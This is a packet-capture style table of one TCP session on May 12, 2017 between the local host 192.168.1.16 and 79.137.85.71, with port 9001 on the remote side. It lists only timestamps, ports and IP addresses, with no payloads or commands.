May 12, 2017 18:55:20.112818003 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:20.112823963 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:20.112828970 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:20.112833977 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:20.112839937 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:20.112845898 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:20.112850904 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:20.112855911 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:20.112862110 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:20.116575956 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:20.116600990 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:20.116612911 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:20.116619110 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:20.116624117 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:20.118001938 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:20.340483904 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:20.555654049 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:20.828460932 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:20.828836918 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:21.380450964 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:21.380521059 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:22.488455057 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:22.488543987 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:24.700455904 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:24.700577021 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:25.006849051 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:25.044447899 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:29.124465942 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:29.124541044 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:30.417339087 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:30.417366982 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.417804956 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:30.417841911 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.417850971 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.417855978 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.417861938 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.417917013 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.417928934 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.417934895 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.417953014 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.417967081 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.417973042 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.418080091 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:30.418096066 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.418103933 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.418109894 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.418116093 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.418121099 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.418128014 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.418195009 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.418222904 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.418240070 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.418256044 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.418268919 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.418277979 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:30.418298006 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.418311119 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.418322086 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.418334961 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.418355942 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.418365002 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.418376923 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.418378115 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:30.418410063 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.418423891 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.418437004 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.418453932 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.418467999 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.418471098 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:30.418481112 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.418497086 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.418510914 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.418524027 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.418540001 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.418549061 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:30.418554068 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.418561935 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.418577909 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.418591976 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.418605089 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.418621063 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.418633938 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.418642044 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:30.418644905 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.418658972 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.418673992 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.418687105 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.418703079 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.418715954 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.418725014 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:30.418729067 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.418740034 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.418754101 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.418767929 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.418780088 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.418792963 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.418806076 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.418814898 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:30.418822050 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.418834925 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.418845892 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.418869972 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.418883085 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.418896914 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.418900013 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:30.418914080 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.418926954 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.418937922 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.418951035 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.418963909 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.418977976 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.418984890 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:30.418992043 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.419006109 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.419017076 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.419032097 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.419045925 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.419058084 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.419065952 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:30.419073105 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.419085979 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.419100046 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.419117928 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.419131041 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.419133902 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:30.419143915 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.419159889 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.419171095 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:30.419173002 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.419182062 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.419197083 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.419205904 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.419215918 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.419224977 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.419235945 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.419244051 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.419255972 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.419261932 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:30.419266939 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.419275045 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.419287920 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.419296980 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.419306993 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.419317007 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.419327021 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.419336081 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.419347048 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.419353008 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:30.419354916 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.419365883 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.419378042 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.419389009 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.419399977 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.419409037 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.419420004 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.419428110 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.419429064 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:30.419439077 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.419450045 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.419457912 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.419470072 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.419477940 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.419487953 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.419497967 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.419507980 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.419516087 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.419517040 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:30.419528961 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.419540882 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.419548988 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.419559956 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.419572115 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.419579029 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.419590950 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.419600010 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:30.419600964 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.419610023 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.419621944 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.419631004 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.419641018 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.419650078 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.419660091 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.419667959 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.419680119 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.419687986 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:30.419691086 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.419698954 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.419712067 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.419761896 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:30.421216965 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:30.421931982 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:30.425349951 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:30.426613092 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:30.426635981 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.428644896 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:30.468453884 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.589046001 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.589071035 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.589091063 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.589178085 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:30.593723059 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.593738079 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.593775034 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.594613075 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:30.598225117 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.598249912 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.598284006 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.602161884 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:30.622354031 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.622380018 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.622442961 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:30.631658077 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.732489109 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.732641935 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:30.732652903 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.732671022 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.732685089 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.732709885 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:30.732791901 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.732801914 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.732860088 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:30.732873917 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.733428955 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.733448029 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.733458996 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.733522892 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:30.733535051 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.733575106 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.733591080 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.733637094 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.733643055 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:30.733658075 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.733695984 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:30.736480951 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.736505032 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.736517906 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.736558914 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:30.736767054 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.736793995 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.736831903 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:30.736844063 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.745963097 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.746057034 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:30.746072054 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.956444979 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.956542969 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:30.995696068 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:30.995716095 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.996004105 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:30.996021986 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.996114969 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:30.996128082 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.996218920 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:30.996229887 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.996311903 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:30.996323109 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.996418953 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:30.996429920 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.996633053 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:30.996646881 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.996731997 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:30.996748924 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.996834040 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:30.996850014 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.996925116 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:30.996936083 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.997005939 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:30.997015953 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.997235060 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:30.997247934 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.997330904 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:30.997342110 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.997422934 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:30.997432947 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.997514009 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:30.997524977 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.997592926 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:30.997602940 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.997750998 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:30.997762918 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.997843981 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:30.997853994 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.997931004 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:30.997941971 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.998020887 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:30.998030901 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.998122931 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:30.998132944 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.998331070 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:30.998343945 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.998425007 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:30.998435974 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.998528957 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:30.998543978 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.998626947 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:30.998637915 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.998709917 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:30.998719931 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:30.998888969 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:30.998900890 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.319767952 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.474282026 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.474313974 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.474409103 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:31.474426985 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.478440046 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.478467941 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.478543043 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:31.478560925 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.478619099 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.478641987 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.478697062 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:31.478714943 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.480489969 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:31.482527018 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.606435061 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.606533051 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:31.606545925 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.623651981 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.623673916 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.623759031 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:31.623776913 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.624505997 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.624524117 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.624598980 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.624613047 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.624623060 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.624733925 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:31.625070095 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.625180960 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.625195026 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.625247002 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:31.625261068 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.626122952 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.626138926 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.626148939 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.626189947 CEST	49198	9001	192.168.1.16	79.137.85.71
May 12, 2017 18:55:31.626204967 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.627756119 CEST	9001	49198	79.137.85.71	192.168.1.16
May 12, 2017 18:55:31.627773046 CEST	9001	49198	79.137.85.71	192.168.1.16
